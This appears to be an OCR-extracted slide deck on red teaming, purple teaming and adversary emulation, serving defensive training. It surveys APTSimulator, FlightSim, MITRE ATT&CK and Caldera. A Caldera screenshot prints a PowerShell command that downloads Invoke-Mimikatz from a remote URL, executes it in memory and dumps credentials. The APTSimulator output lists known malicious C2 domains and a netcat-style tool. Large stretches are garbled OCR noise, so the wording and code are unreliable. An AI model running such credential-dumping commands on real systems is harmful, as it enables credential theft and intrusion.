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Introduction

Modern red teaming

Sun Tzu U.S Military Red Teaming

VI BCE 1960s in cyber environment



Benefits of
separating
infosec
team as
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Security Posture
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Offense

Vulnerability Assessments
Penetration tests
Social Engineering

Defense

Implementing controls
Security monitoring
Incident response




Consider purple teaming

BLUE

No alerts mean that preventive controls are

vs working

Large volume of alerts means detection
controls are working

Report with many vulnerabilities = Well done!

Success is measured by # of failed controls

Blue team failure = red team success Red team failure = blue team success

FEEDBACK LOOP

Information should flow in both direction




Red Team Maturity | Who is Red Teamer

External Internal

Vuln Penetration Penetration Purple Red Team / Non-scoped

Scan Team(s) ATT&CK long term
Test Test

Patch Network Conflg‘ured Centralized Flnely tuned Threat

Management Controls / endpoint / Logging Alerting and hunting
Admin Rights EDRs Response




How e Scope is much LARGER
does it

e Much more continuous
process (attack <-> defend)

~ e Full stacks of process (people,
d Iffer from technology), much more than
~ ? just vulnerability assessments
pentesting?

/ penetration tests




What is Adversary Emulation?

Adversary Emulation is
an activity where security
experts emulate how an
adversary operates. The
ultimate goal of course is
to improve how resilient
the organization is versus
these adversary
techniques. Both red and
purple teaming can be
considered as adversary
emulation.

Adversary activities are described
using TTPs (Tactics, Techniques &
Procedures), possibly described using
a kill chain. TTPs are not as concrete
as for example IOCs, but they describe
how the adversary operates at a
higher level. Adversary emulation
should be based on TTPs. As such, a
traditional vulnerability scan or internal
penetration test that is not based on
TTPs should not be considered
adversary emulation.




e Understand your current
exposure to a realistic, relevant,
threat

Why do
red teaming

e On top of vulnerability
identification, assess detection
capability as well

& adversary e Also includes testing of human
~ reaction as well
emulation?

e Repeatable, structured process
that provides key areas for
improvement




Some e APTSimulator (Endpoint)

tools
e FlightSim (Network)

to keep
in mind e MITRE ATT&CK




APTSimulator

Your selection (then press ENTER): 2

###########################################################################
NG SET: "command-and-contro

ping cunl to gccess well-known C2 sddresses Windows Batch script that uses

Result: 302
CZ2: twitterdocs.com

E%?UIEeeg%g chickenkiller.com a Set Of tOOIS and Output fiIeS to
EE?atingEDNS Cache entries for well-known malicious C2 servers make a System IOOk aS if it WaS

msupdater.com
Non-authoritative answer:
CZ2: twitterdocs.com

on-guthoritative ansvscs, com Compromlsed.

dc@l.corp.unitel.mn can’t find freenow.chickenkiller.com: Non-existent domai

! www.googleaccountsservices.com
authoritative answer:

Using malicious user agents to access web sites

s, nal i Don't need to run a web server,
database or any agents

Dvre /
Result:

ALTERNATIVE
Dropping a Powershell netcat alternative into the APT dir




\._.r_r IP:port pairs

SIEM for alerts

Generation of malicious network
traffic

Helping security teams to evaluate
security controls and network
visibility.

DNS tunneling, DGA traffic, request
to know active C2 destinations



MITRE ATT&CK

"MITRE ATT&CK is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations."

ATT&CK Matrix for Enterprise




Adversary Emulation with Caldera

CALDERA is an automated adversary emulation system, built on the MITRE ATT&CK™ framework.

Home Sandcat Chain Docs Logout

CALDERA

Cyber Adversary Language and Decision Engine for Red Team Automation

| am a blue-teamer lama lama
AS 3 Diue-leam operaiorn, you shoulkd starn by oeploying one AS 3 researncher, you shoukd sesia the secver wih e AS 3 100005 Operalon, yOou should resis] e sorver with
of mary S400CAT (SanaCat) agents on remote Computens MOCK plugin, which deploys simulated agents. Then, go the terminad plugn 0aded. Then, deploy ONe OF Mmany
you want 1o test. Thes move nlo Cham mode 10 creale o Chan mode and run a few sample operations. Once S4AnaCAT (Sandcat) agents on remole compuiers. Use the
FOVersary profies and man Opratons agakst e deployed amuiar Wi Now D8RS Bnk 1ogether, siudy the ferminagl 10 Creale and join reverse shell sessions 10
Posts

SOQuenial py module N e SOUNce code, wisch contians Manualy COmPIOmEse the hosts
e automated deceson-making ogic
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UNI-PC-040228CORP\solmon 2. View admin shares *
UNI-PC-040225CORP\solmon z... Collect ARP details *
UNI-PC-040228CORP\tsolmon.z. .. Run PowerKatz *

Description:  Use powerkatz to exocute mimikatz and attempt to grab plaintext and/or hashed passwoeds
Technique:  T1003

Collected:  2019-10-01 18:09.04

Finished: 2019-10-01 18.09.31

(System Net ServicsPointManager] ServerCerticateVabdaionCalback = { $True ) Sweb = (New-Object
 System Net WebChent) Srosul =
CMMANG: e DownkoadSwing(ips v gibusercontent comPowerSholMalaP owerSpACTa20 VTSN CAVT 27358
170164959867 VExfration/ervoke Mimikatz pa 17)jex Scesul, lnvoke- Mimikatz -DumpCreds

Executor:  psh

UNI-PC-04022$CORP\Msolmon 2. R lookup IP -
UNI-PC-04022SCORP\solmon 2. R lookup 1P *
UNI-PC-04022SCORP\tsolmon .z R tookup IP *
UNI-PC-04022SCORP\tsol z.. R lookup IP *




e Structuring infosec team as

red and blue is efficient. What to

e Validate that logging the

correct events and information ta ke away

doing red teaming.

from
presentation?

e Adversary emulation can
greatly improve your chances
of preventing and detecting a
breach.







